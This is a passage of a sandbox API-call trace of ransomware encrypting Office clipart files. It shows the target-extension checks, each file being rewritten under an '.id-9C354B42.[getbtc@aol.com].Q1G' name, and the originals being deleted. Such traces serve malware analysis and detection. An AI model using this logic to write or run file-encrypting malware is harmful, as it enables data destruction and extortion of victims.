[0252.827] CloseHandle (hObject=0x1f8) returned 1 [0252.839] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.853] SetEndOfFile (hFile=0x3ac) returned 1 [0252.864] CloseHandle (hObject=0x3ac) returned 1 [0252.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0252.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.865] lstrlenW (lpString=".doc") returned 4 [0252.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.865] lstrlenW (lpString=".docx") returned 5 [0252.865] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.865] lstrlenW (lpString=".pdf") returned 4 [0252.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.865] lstrlenW (lpString=".xls") returned 4 [0252.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.865] lstrlenW (lpString=".xlsx") returned 5 [0252.865] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.865] lstrlenW (lpString=".ppt") returned 4 [0252.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.865] lstrlenW (lpString=".zip") returned 4 [0252.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.865] lstrlenW (lpString=".rar") returned 4 [0252.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.866] lstrlenW (lpString=".bz2") returned 4 [0252.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.866] lstrlenW (lpString=".7z") returned 3 [0252.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.866] lstrlenW (lpString=".dbf") returned 4 [0252.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.866] lstrlenW (lpString=".1cd") returned 4 [0252.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.866] lstrlenW (lpString=".jpg") returned 4 [0252.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.866] lstrlenW (lpString=".doc") returned 4 [0252.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.866] lstrlenW (lpString=".docx") returned 5 [0252.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.866] lstrlenW (lpString=".pdf") returned 4 [0252.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.866] lstrlenW (lpString=".xls") returned 4 [0252.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.866] lstrlenW (lpString=".xlsx") returned 5 [0252.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.867] lstrlenW (lpString=".ppt") returned 4 [0252.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.867] lstrlenW (lpString=".zip") returned 4 [0252.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.867] lstrlenW (lpString=".rar") returned 4 [0252.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.867] lstrlenW (lpString=".bz2") returned 4 [0252.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.867] lstrlenW (lpString=".7z") returned 3 [0252.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.867] lstrlenW (lpString=".dbf") returned 4 [0252.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.867] lstrlenW (lpString=".1cd") returned 4 [0252.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0252.867] lstrlenW (lpString=".jpg") returned 4 [0252.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.867] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.867] lstrlenW (lpString="HM00426_.WMF") returned 12 [0252.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.868] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=68776) returned 1 [0252.868] CloseHandle (hObject=0x3ac) returned 1 [0252.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x20 [0252.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.868] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.868] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0252.869] GetLastError () returned 0x0 [0252.869] ReadFile (in: hFile=0x3ac, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x10ca8, lpOverlapped=0x0) returned 1 [0252.872] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x10cb0, lpOverlapped=0x0) returned 1 [0252.874] ReadFile (in: hFile=0x3ac, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.874] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.874] SetEndOfFile (hFile=0x37c) returned 1 [0252.874] CloseHandle (hObject=0x37c) returned 1 [0252.874] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.874] SetEndOfFile (hFile=0x3ac) returned 1 [0252.877] CloseHandle (hObject=0x3ac) returned 1 [0252.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0252.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.878] lstrlenW (lpString=".doc") returned 4 [0252.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.878] lstrlenW (lpString=".docx") returned 5 [0252.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.878] lstrlenW (lpString=".pdf") returned 4 [0252.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.878] lstrlenW (lpString=".xls") returned 4 [0252.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.878] lstrlenW (lpString=".xlsx") returned 5 [0252.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.878] lstrlenW (lpString=".ppt") returned 4 [0252.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.878] lstrlenW (lpString=".zip") returned 4 [0252.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.878] lstrlenW (lpString=".rar") returned 4 [0252.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.879] lstrlenW (lpString=".bz2") returned 4 [0252.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.879] lstrlenW (lpString=".7z") returned 3 [0252.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.879] lstrlenW (lpString=".dbf") returned 4 [0252.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.879] lstrlenW (lpString=".1cd") returned 4 [0252.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.879] lstrlenW (lpString=".jpg") returned 4 [0252.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.879] lstrlenW (lpString=".doc") returned 4 [0252.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.879] lstrlenW (lpString=".docx") returned 5 [0252.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.879] lstrlenW (lpString=".pdf") returned 4 [0252.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.879] lstrlenW (lpString=".xls") returned 4 [0252.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.879] lstrlenW (lpString=".xlsx") returned 5 [0252.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.879] lstrlenW (lpString=".ppt") returned 4 [0252.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.879] lstrlenW (lpString=".zip") returned 4 [0252.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.879] lstrlenW (lpString=".rar") returned 4 [0252.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.879] lstrlenW (lpString=".bz2") returned 4 [0252.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.879] lstrlenW (lpString=".7z") returned 3 [0252.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.880] lstrlenW (lpString=".dbf") returned 4 [0252.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.880] lstrlenW (lpString=".1cd") returned 4 [0252.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0252.880] lstrlenW (lpString=".jpg") returned 4 [0252.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.880] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.880] lstrlenW (lpString="IN00046_.WMF") returned 12 [0252.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.883] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1158) returned 1 [0252.883] CloseHandle (hObject=0x3ac) returned 1 [0252.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 0x20 [0252.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.884] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.884] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0252.884] GetLastError () returned 0x0 [0252.884] ReadFile (in: hFile=0x3ac, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x486, lpOverlapped=0x0) returned 1 [0252.886] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x490, lpOverlapped=0x0) returned 1 [0252.887] ReadFile (in: hFile=0x3ac, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.887] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.887] SetEndOfFile (hFile=0x37c) returned 1 [0252.887] CloseHandle (hObject=0x37c) returned 1 [0252.887] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.887] SetEndOfFile (hFile=0x3ac) returned 1 [0252.891] CloseHandle (hObject=0x3ac) returned 1 [0252.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0252.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.892] lstrlenW (lpString=".doc") returned 4 [0252.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.892] lstrlenW (lpString=".docx") returned 5 [0252.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.892] lstrlenW (lpString=".pdf") returned 4 [0252.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.892] lstrlenW (lpString=".xls") returned 4 [0252.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.892] lstrlenW (lpString=".xlsx") returned 5 [0252.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.892] lstrlenW (lpString=".ppt") returned 4 [0252.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.893] lstrlenW (lpString=".zip") returned 4 [0252.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.893] lstrlenW (lpString=".rar") returned 4 [0252.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.893] lstrlenW (lpString=".bz2") returned 4 [0252.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.893] lstrlenW (lpString=".7z") returned 3 [0252.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.893] lstrlenW (lpString=".dbf") returned 4 [0252.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.893] lstrlenW (lpString=".1cd") returned 4 [0252.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.893] lstrlenW (lpString=".jpg") returned 4 [0252.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.893] lstrlenW (lpString=".doc") returned 4 [0252.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.893] lstrlenW (lpString=".docx") returned 5 [0252.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.893] lstrlenW (lpString=".pdf") returned 4 [0252.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.893] lstrlenW (lpString=".xls") returned 4 [0252.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.893] lstrlenW (lpString=".xlsx") returned 5 [0252.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.893] lstrlenW (lpString=".ppt") returned 4 [0252.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.893] lstrlenW (lpString=".zip") returned 4 [0252.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.893] lstrlenW (lpString=".rar") returned 4 [0252.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.894] lstrlenW (lpString=".bz2") returned 4 [0252.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.894] lstrlenW (lpString=".7z") returned 3 [0252.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.894] lstrlenW (lpString=".dbf") returned 4 [0252.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.894] lstrlenW (lpString=".1cd") returned 4 [0252.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0252.894] lstrlenW (lpString=".jpg") returned 4 [0252.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.894] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.894] lstrlenW (lpString="IN00118_.WMF") returned 12 [0252.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.894] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=792) returned 1 [0252.894] CloseHandle (hObject=0x3ac) returned 1 [0252.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 0x20 [0252.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.895] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.895] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0252.896] GetLastError () returned 0x0 [0252.896] ReadFile (in: hFile=0x3ac, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x318, lpOverlapped=0x0) returned 1 [0252.970] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x320, lpOverlapped=0x0) returned 1 [0252.970] ReadFile (in: hFile=0x3ac, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.970] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.971] SetEndOfFile (hFile=0x37c) returned 1 [0252.971] CloseHandle (hObject=0x37c) returned 1 [0252.971] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.971] SetEndOfFile (hFile=0x3ac) returned 1 [0252.973] CloseHandle (hObject=0x3ac) returned 1 [0252.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0253.024] lstrlenW (lpString="C:\\Program Files\\Microsoft 